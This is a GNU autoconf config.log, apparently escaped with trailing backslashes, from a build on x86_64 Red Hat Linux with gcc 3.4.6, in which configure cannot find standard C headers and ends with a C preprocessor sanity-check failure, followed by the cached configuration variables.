configure:2366: $? = 0\
configure:2388: result: o\
configure:2392: checking whether we are using the GNU C++ compiler\
configure:2416: g++ -c   conftest.cc >&5\
configure:2422: $? = 0\
configure:2426: test -z \
			 || test ! -s conftest.err\
configure:2429: $? = 0\
configure:2432: test -s conftest.o\
configure:2435: $? = 0\
configure:2448: result: yes\
configure:2454: checking whether g++ accepts -g\
configure:2475: g++ -c -g  conftest.cc >&5\
configure:2481: $? = 0\
configure:2485: test -z \
			 || test ! -s conftest.err\
configure:2488: $? = 0\
configure:2491: test -s conftest.o\
configure:2494: $? = 0\
configure:2505: result: yes\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
conftest.cc: In function `int main()':\
conftest.cc:14: error: `exit' was not declared in this scope\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| \
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| extern \"C\" void std::exit (int) throw (); using std::exit;\
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| extern \"C\" void std::exit (int); using std::exit;\
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| extern \"C\" void exit (int) throw ();\
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| extern \"C\" void exit (int);\
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2547: g++ -c -g -O2  conftest.cc >&5\
conftest.cc:10:20: stdlib.h: No such file or directory\
configure:2553: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| /* end confdefs.h.  */\
| void exit (int);\
| #include <stdlib.h>\
| int\
| main ()\
| {\
| exit (42);\
|   ;\
|   return 0;\
| }\
configure:2645: checking for style of include used by make\
configure:2673: result: GNU\
configure:2701: checking dependency style of g++\
configure:2784: result: gcc3\
configure:2847: checking for gcc\
configure:2863: found /usr/bin/gcc\
configure:2873: result: gcc\
configure:3117: checking for C compiler version\
configure:3120: gcc --version </dev/null >&5\
gcc (GCC) 3.4.6 20060404 (Red Hat 3.4.6-3)\
Copyright (C) 2006 Free Software Foundation, Inc.\
This is free software; see the source for copying conditions.  There is NO\
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\
\
configure:3123: $? = 0\
configure:3125: gcc -v </dev/null >&5\
Reading specs from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/specs\
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-java-awt=gtk --host=x86_64-redhat-linux\
Thread model: posix\
gcc version 3.4.6 20060404 (Red Hat 3.4.6-3)\
configure:3128: $? = 0\
configure:3130: gcc -V </dev/null >&5\
gcc: `-V' option must have argument\
configure:3133: $? = 1\
configure:3136: checking whether we are using the GNU C compiler\
configure:3160: gcc -c   conftest.c >&5\
configure:3166: $? = 0\
configure:3170: test -z \
			 || test ! -s conftest.err\
configure:3173: $? = 0\
configure:3176: test -s conftest.o\
configure:3179: $? = 0\
configure:3192: result: yes\
configure:3198: checking whether gcc accepts -g\
configure:3219: gcc -c -g  conftest.c >&5\
configure:3225: $? = 0\
configure:3229: test -z \
			 || test ! -s conftest.err\
configure:3232: $? = 0\
configure:3235: test -s conftest.o\
configure:3238: $? = 0\
configure:3249: result: yes\
configure:3266: checking for gcc option to accept ANSI C\
configure:3336: gcc  -c -g -O2  conftest.c >&5\
conftest.c:13:19: stdio.h: No such file or directory\
conftest.c:14:23: sys/types.h: No such file or directory\
conftest.c:15:22: sys/stat.h: No such file or directory\
conftest.c:18: error: syntax error before '*' token\
conftest.c:18: warning: \"struct stat\" declared inside parameter list\
conftest.c:18: warning: its scope is only this definition or declaration, which is probably not what you want\
conftest.c:18: warning: data definition has no type or storage class\
conftest.c:47: error: syntax error before \"FILE\"\
conftest.c:47: warning: \"struct stat\" declared inside parameter list\
conftest.c:47: error: `pairnames' declared as function returning a function\
conftest.c:47: error: syntax error before \"int\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3336: gcc -qlanglvl=ansi -c -g -O2  conftest.c >&5\
gcc: unrecognized option `-qlanglvl=ansi'\
conftest.c:13:19: stdio.h: No such file or directory\
conftest.c:14:23: sys/types.h: No such file or directory\
conftest.c:15:22: sys/stat.h: No such file or directory\
conftest.c:18: error: syntax error before '*' token\
conftest.c:18: warning: \"struct stat\" declared inside parameter list\
conftest.c:18: warning: its scope is only this definition or declaration, which is probably not what you want\
conftest.c:18: warning: data definition has no type or storage class\
conftest.c:47: error: syntax error before \"FILE\"\
conftest.c:47: warning: \"struct stat\" declared inside parameter list\
conftest.c:47: error: `pairnames' declared as function returning a function\
conftest.c:47: error: syntax error before \"int\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3336: gcc -std1 -c -g -O2  conftest.c >&5\
cc1: error: unrecognized command line option \"-std1\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3336: gcc -Ae -c -g -O2  conftest.c >&5\
<command line>:1:2: missing '(' after predicate\
conftest.c:13:19: stdio.h: No such file or directory\
conftest.c:14:23: sys/types.h: No such file or directory\
conftest.c:15:22: sys/stat.h: No such file or directory\
conftest.c:18: error: syntax error before '*' token\
conftest.c:18: warning: \"struct stat\" declared inside parameter list\
conftest.c:18: warning: its scope is only this definition or declaration, which is probably not what you want\
conftest.c:18: warning: data definition has no type or storage class\
conftest.c:47: error: syntax error before \"FILE\"\
conftest.c:47: warning: \"struct stat\" declared inside parameter list\
conftest.c:47: error: `pairnames' declared as function returning a function\
conftest.c:47: error: syntax error before \"int\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3336: gcc -Aa -D_HPUX_SOURCE -c -g -O2  conftest.c >&5\
<command line>:1:2: missing '(' after predicate\
conftest.c:13:19: stdio.h: No such file or directory\
conftest.c:14:23: sys/types.h: No such file or directory\
conftest.c:15:22: sys/stat.h: No such file or directory\
conftest.c:18: error: syntax error before '*' token\
conftest.c:18: warning: \"struct stat\" declared inside parameter list\
conftest.c:18: warning: its scope is only this definition or declaration, which is probably not what you want\
conftest.c:18: warning: data definition has no type or storage class\
conftest.c:47: error: syntax error before \"FILE\"\
conftest.c:47: warning: \"struct stat\" declared inside parameter list\
conftest.c:47: error: `pairnames' declared as function returning a function\
conftest.c:47: error: syntax error before \"int\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3336: gcc -Xc -D__EXTENSIONS__ -c -g -O2  conftest.c >&5\
gcc: unrecognized option `-Xc'\
conftest.c:13:19: stdio.h: No such file or directory\
conftest.c:14:23: sys/types.h: No such file or directory\
conftest.c:15:22: sys/stat.h: No such file or directory\
conftest.c:18: error: syntax error before '*' token\
conftest.c:18: warning: \"struct stat\" declared inside parameter list\
conftest.c:18: warning: its scope is only this definition or declaration, which is probably not what you want\
conftest.c:18: warning: data definition has no type or storage class\
conftest.c:47: error: syntax error before \"FILE\"\
conftest.c:47: warning: \"struct stat\" declared inside parameter list\
conftest.c:47: error: `pairnames' declared as function returning a function\
conftest.c:47: error: syntax error before \"int\"\
configure:3342: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #include <stdarg.h>\
| #include <stdio.h>\
| #include <sys/types.h>\
| #include <sys/stat.h>\
| /* Most of the following tests are stolen from RCS 5.7's src/conf.sh.  */\
| struct buf { int x; };\
| FILE * (*rcsopen) (struct buf *, struct stat *, int);\
| static char *e (p, i)\
|      char **p;\
|      int i;\
| {\
|   return p[i];\
| }\
| static char *f (char * (*g) (char **, int), char **p, ...)\
| {\
|   char *s;\
|   va_list v;\
|   va_start (v,p);\
|   s = g (p, va_arg (v,int));\
|   va_end (v);\
|   return s;\
| }\
| \
| /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\
|    function prototypes and stuff, but not '\\xHH' hex character constants.\
|    These don't provoke an error unfortunately, instead are silently treated\
|    as 'x'.  The following induces an error, until -std1 is added to get\
|    proper ANSI mode.  Curiously '\\x00'!='x' always comes out true, for an\
|    array size at least.  It's necessary to write '\\x00'==0 to get something\
|    that's true only with -std1.  */\
| int osf4_cc_array ['\\x00' == 0 ? 1 : -1];\
| \
| int test (int i, double x);\
| struct s1 {int (*f) (int a);};\
| struct s2 {int (*f) (double a);};\
| int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, int), int, int);\
| int argc;\
| char **argv;\
| int\
| main ()\
| {\
| return f (e, argv, 0) != argv[0]  ||  f (e, argv, 1) != argv[1];\
|   ;\
|   return 0;\
| }\
configure:3373: result: none needed\
configure:3391: gcc -c -g -O2  conftest.c >&5\
conftest.c:2: error: syntax error before \"me\"\
configure:3397: $? = 1\
configure: failed program was:\
| #ifndef __cplusplus\
|   choke me\
| #endif\
configure:3532: checking dependency style of gcc\
configure:3615: result: gcc3\
configure:3728: checking build system type\
configure:3746: result: x86_64-unknown-linux-gnu\
configure:3754: checking host system type\
configure:3768: result: x86_64-unknown-linux-gnu\
configure:3798: checking for ld used by GCC\
configure:3861: result: /usr/bin/ld\
configure:3870: checking if the linker (/usr/bin/ld) is GNU ld\
GNU ld version 2.15.92.0.2 20040927\
configure:3882: result: yes\
configure:3887: checking for /usr/bin/ld option to reload object files\
configure:3894: result: -r\
configure:3899: checking for BSD-compatible nm\
configure:3935: result: /usr/bin/nm -B\
configure:3938: checking for a sed that does not truncate output\
configure:4020: result: /bin/sed\
configure:4023: checking whether ln -s works\
configure:4027: result: yes\
configure:4034: checking how to recognise dependent libraries\
configure:4215: result: file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )\
configure:4228: checking command to parse /usr/bin/nm -B output\
configure:4312: gcc -c -g -O2  conftest.c >&5\
configure:4315: $? = 0\
configure:4319: /usr/bin/nm -B conftest.o \\| sed -n -e 's/^.*[ 	]\\([ABCDGISTW][ABCDGISTW]*\\)[ 	][ 	]*\\(\\)\\([_A-Za-z][_A-Za-z0-9]*\\)$/\\1 \\2\\3 \\3/p' \\> conftest.nm\
configure:4322: $? = 0\
configure:4374: gcc -o conftest -g -O2   conftest.c conftstm.o >&5\
configure:4377: $? = 0\
configure:4421: result: ok\
configure:4430: checking how to run the C preprocessor\
configure:4465: gcc -E  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4465: gcc -E  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4465: gcc -E -traditional-cpp  conftest.c\
conftest.c:15: assert.h: No such file or directory\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4465: gcc -E -traditional-cpp  conftest.c\
conftest.c:15: assert.h: No such file or directory\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4465: /lib/cpp  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4465: /lib/cpp  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4471: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4548: result: /lib/cpp\
configure:4572: /lib/cpp  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4578: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4572: /lib/cpp  conftest.c\
In file included from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/syslimits.h:7,\
                 from /usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:11,\
                 from conftest.c:13:\
/usr/lib/gcc/x86_64-redhat-linux/3.4.6/include/limits.h:122:61: no include path in which to search for limits.h\
configure:4578: $? = 1\
configure: failed program was:\
| /* confdefs.h.  */\
| \
| #define PACKAGE_NAME \"\"\
| #define PACKAGE_TARNAME \"\"\
| #define PACKAGE_VERSION \"\"\
| #define PACKAGE_STRING \"\"\
| #define PACKAGE_BUGREPORT \"\"\
| #ifdef __cplusplus\
| void exit (int);\
| #endif\
| /* end confdefs.h.  */\
| #ifdef __STDC__\
| # include <limits.h>\
| #else\
| # include <assert.h>\
| #endif\
| 		     Syntax error\
configure:4647: error: C preprocessor \"/lib/cpp\" fails sanity check\
See `config.log' for more details.\
\
## ---------------- ##\
## Cache variables. ##\
## ---------------- ##\
\
ac_cv_build=x86_64-unknown-linux-gnu\
ac_cv_build_alias=x86_64-unknown-linux-gnu\
ac_cv_c_compiler_gnu=yes\
ac_cv_cxx_compiler_gnu=yes\
ac_cv_env_CC_set=\
ac_cv_env_CC_value=\
ac_cv_env_CFLAGS_set=\
ac_cv_env_CFLAGS_value=\
ac_cv_env_CPPFLAGS_set=\
ac_cv_env_CPPFLAGS_value=\
ac_cv_env_CPP_set=\
ac_cv_env_CPP_value=\
ac_cv_env_CXXFLAGS_set=\
ac_cv_env_CXXFLAGS_value=\
ac_cv_env_CXX_set=\
ac_cv_env_CXX_value=\
ac_cv_env_LDFLAGS_set=\
ac_cv_env_LDFLAGS_value=\
ac_cv_env_build_alias_set=\
ac_cv_env_build_alias_value=\
ac_cv_env_host_alias_set=\
ac_cv_env_host_alias_value=\
ac_cv_env_target_alias_set=\
ac_cv_env_target_alias_value=\
ac_cv_exeext=\
ac_cv_host=x86_64-unknown-linux-gnu\
ac_cv_host_alias=x86_64-unknown-linux-gnu\
ac_cv_objext=o\
ac_cv_path_install='/usr/bin/install -c'\
ac_cv_prog_AWK=gawk\
ac_cv_prog_CPP=/lib/cpp\
ac_cv_prog_ac_ct_CC=gcc\
ac_cv_prog_ac_ct_CXX=g++\
ac_cv_prog_cc_g=yes\
ac_cv_prog_cc_stdc=no\
ac_cv_prog_cxx_g=yes\
ac_cv_prog_make_make_set=yes\
am_cv_CC_dependencies_compiler_type=gcc3\
am_cv_CXX_dependencies_compiler_type=gcc3\
lt_cv_deplibs_check_method='file_magic ELF [0-9][0-9]*-bit [LM]SB (shared object|dynamic lib )'\
lt_cv_file_magic_cmd='$MAGIC_CMD'\
lt_cv_file_magic_test_file='/lib/libc.so.6 /lib/libc-2.3.4.so'\
lt_cv_global_symbol_to_c_name_address='sed -n -e '\\''s/^: \\([^ ]*\\) $/  {\\\"\\1\\\", (lt_ptr) 0},/p'\\'' -e '\\''s/^[BCDEGRST] \\([^ ]*\\) \\([^ ]*\\)$/  {\"\\2\", (lt_ptr) \\&\\2},/p'\\'''\
